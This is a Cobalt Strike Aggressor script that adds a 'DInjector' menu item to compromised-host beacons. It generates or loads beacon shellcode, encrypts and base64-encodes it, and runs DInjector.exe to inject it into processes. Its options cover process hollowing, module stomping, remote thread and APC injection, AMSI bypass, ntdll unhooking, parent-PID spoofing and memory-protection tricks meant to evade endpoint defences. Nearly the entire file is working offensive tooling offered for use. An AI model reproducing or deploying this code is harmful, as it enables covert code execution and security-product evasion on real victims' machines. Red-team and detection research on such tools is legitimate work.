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DInjector.cna
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DInjector.cna
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sub dinject {
local('%options $bid $handle $shellcode_filename $raw_shellcode $enc_shellcode $pass $cmd $python_cmd $tmp');
show_message("DInjector initiated! Wait for the beacon to call home");
%options = $3;
$bid = %options["bid"];
btask($bid, "\c7Tasked beacon to execute DInjector.exe assembly\o", "T1055");
# Choose shellcode
if (strlen(%options["custom_shellcode"]) > 0) {
# Custom shellcode
$shellcode_filename = %options["custom_shellcode"];
}
else {
# Generate beacon
$shellcode_filename = "/tmp/beacon.bin";
if (%options["staged"] eq "true") {
$raw_shellcode = payload(%options["listener"], "x64", %options["exitfunc"]);
}
else {
$raw_shellcode = artifact_payload(%options["listener"], "raw", "x64");
}
$handle = openf(">$shellcode_filename");
writeb($handle, $raw_shellcode);
wait($handle);
closef($handle);
}
# Start building the DInjector command assigning the injection technique first
$cmd = %options["technique"];
# Encrypt the shellcode based on the selected injection technique
$pass = gen_random_string(8, 12);
@python_cmd = @("python3", script_resource("encrypt.py"), "$shellcode_filename", "-p", "$pass", "-o", "/tmp/enc");
if ($cmd eq "CurrentThreadUuid") {
push(@python_cmd, "--uuid");
}
$handle = exec(@python_cmd);
wait($handle);
closef($handle);
# Read encrypted shellcode and base64 encode it
$handle = openf("/tmp/enc");
$enc_shellcode = readb($handle, -1);
wait($handle);
closef($handle);
$cmd .= " /sc:" . base64_encode($enc_shellcode);
# Construct the rest of the DInjector command
$cmd .= " /p:$pass";
$cmd .= " /protect:" . %options["protect"];
$cmd .= " /timeout:" . %options["timeout"];
$cmd .= " /flipSleep:" . %options["flipSleep"];
$cmd .= " /fluctuate:" . %options["fluctuate"];
$cmd .= " /image:" . %options["image"];
$cmd .= " /pid:" . %options["pid"];
$cmd .= " /ppid:" . %options["ppid"];
$cmd .= " /dll:" . %options["dll"];
$cmd .= " /stompDll:" . %options["stompDll"];
$cmd .= " /stompExport:" . %options["stompExport"];
$cmd .= " /sleep:" . %options["sleep"];
$cmd .= " /am51:" . %options["am51"];
$cmd .= " /remoteAm51:" . %options["remoteAm51"];
if (%options["blockDlls"] eq "true") {
$cmd .= " /blockDlls:True";
}
if (%options["unhook"] eq "true") {
$cmd .= " /unhook:True";
}
if (%options["debug"] eq "true") {
$cmd .= " /debug:True";
}
# Execute DInjector
bexecute_assembly($bid, script_resource("DInjector.exe"), "$cmd");
blog($bid, "\c7Executed command\cF:\cD execute-assembly DInjector.exe "
. %options["technique"] . " /sc:<BASE64>" . " /p:$pass" . " /protect:" . %options["protect"]
. " /timeout:" . %options["timeout"] . " /flipSleep:" . %options["flipSleep"] . " /fluctuate:" . %options["fluctuate"]
. " /image:" . %options["image"] . " /pid:" . %options["pid"] . " /ppid:" . %options["ppid"] . " /dll:" . %options["dll"]
. " /stompDll:" . %options["stompDll"] . " /stompExport:" . %options["stompExport"] . " /sleep:" . %options["sleep"]
. " /blockDlls:" . %options["blockDlls"] . " /am51:" . %options["am51"] . "/remoteAm51:" . %options["remoteAm51"]
. " /unhook:" . %options["unhook"] . " /debug:" . %options["debug"]);
}
sub gen_random_string {
local('@alphabet $len $i $str');
@alphabet = @("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k",
"l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F",
"G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
# Random string of length between $1 and $2
$len = rand($1) + $2;
for($i = 0; $i < $len; $i++) {
$str .= rand(@alphabet);
}
return $str;
}
popup beacon_bottom {
item "DInjector" {
local('$dialog %options');
%options["bid"] = $1[0];
# Setup options values
%options["staged"] = "false";
%options["exitfunc"] = "Process";
%options["technique"] = "CurrentThread";
%options["protect"] = "RX";
%options["timeout"] = "0";
%options["flipSleep"] = "0";
%options["fluctuate"] = "0";
%options["image"] = "C:\\Windows\\System32\\svchost.exe";
%options["pid"] = "0";
%options["ppid"] = "0";
%options["dll"] = "msvcp_win.dll";
%options["stompDll"] = "xpsservices.dll";
%options["stompExport"] = "DllCanUnloadNow";
%options["blockDlls"] = "true";
%options["sleep"] = "0";
%options["am51"] = "True";
%options["remoteAm51"] = "True";
%options["unhook"] = "false";
%options["debug"] = "false";
# Create a dialog
$dialog = dialog("Dynamic Shellcode Injection", %options, &dinject);
dialog_description($dialog, "Perform dynamic shellcode injection using a technique preferrable in current environment. WARNING: the beacon console may be flushed after execution!");
drow_file($dialog, "custom_shellcode", "[/sc] Custom shellcode:");
drow_listener_stage($dialog, "listener", "Listener:");
drow_checkbox($dialog, "staged", "Stage type (beacon payload):", "Use staged payload");
drow_combobox($dialog, "exitfunc", "Exit function (staged beacon payload):", @("Process",
"Thread"));
drow_combobox($dialog, "technique", "Injection technique:", @("FunctionPointer",
"FunctionPointerUnsafe",
"TimeFormats",
"ClipboardPointer",
"CurrentThread",
"CurrentThreadUuid",
"RemoteThread",
"RemoteThreadDll",
"RemoteThreadView",
"RemoteThreadKernelCB",
"RemoteThreadAPC",
"RemoteThreadContext",
"ProcessHollowing",
"ModuleStomping"));
drow_text($dialog, "protect", "[/protect] Memory protection for the shellcode (RX / RWX):");
drow_text($dialog, "timeout", "[/timeout] Timeout for WaitForSingleObject in ms (0 is serve forever):");
drow_text($dialog, "flipSleep", "[/flipSleep] Time to sleep with PAGE_NOACCESS on shellcode in ms (0 is disabled):");
drow_text($dialog, "fluctuate", "[/fluctuate] Memory protection for the shellcode to fluctuate with (0 is disabled):");
drow_text($dialog, "image", "[/image] Path to the image of a newly spawned sacrifical process to inject into:");
drow_text($dialog, "pid", "[/pid] Existing process ID to inject into:");
drow_text($dialog, "ppid", "[/ppid] Parent process ID to spoof the original value with:");
drow_text($dialog, "dll", "[/dll] Loaded DLL name to overwrite its .text section for storing the shellcode:");
drow_text($dialog, "stompDll", "[/stompDll] Name of the DLL to stomp:");
drow_text($dialog, "stompExport", "[/stompExport] Exported function name to overwrite:");
drow_text($dialog, "sleep", "[/sleep] Number of seconds (approx.) to sleep before execution (10s-60s)");
drow_combobox($dialog, "am51", "[/am51] AMSI (local):", @("False",
"True",
"Force"));
drow_combobox($dialog, "remoteAm51", "[/remoteAm51] AMSI (remote):", @("False",
"True",
"Force"));
drow_checkbox($dialog, "blockDlls", "[/blockDlls] DLLs:", "Block 3rd-party DLLs");
drow_checkbox($dialog, "unhook", "[/unhook] Unhook:", "Unhook ntdll.dll");
drow_checkbox($dialog, "debug", "[/debug] Debug:", "Print debug messages");
dbutton_action($dialog, "Inject");
# Show the dialog
dialog_show($dialog);
}
}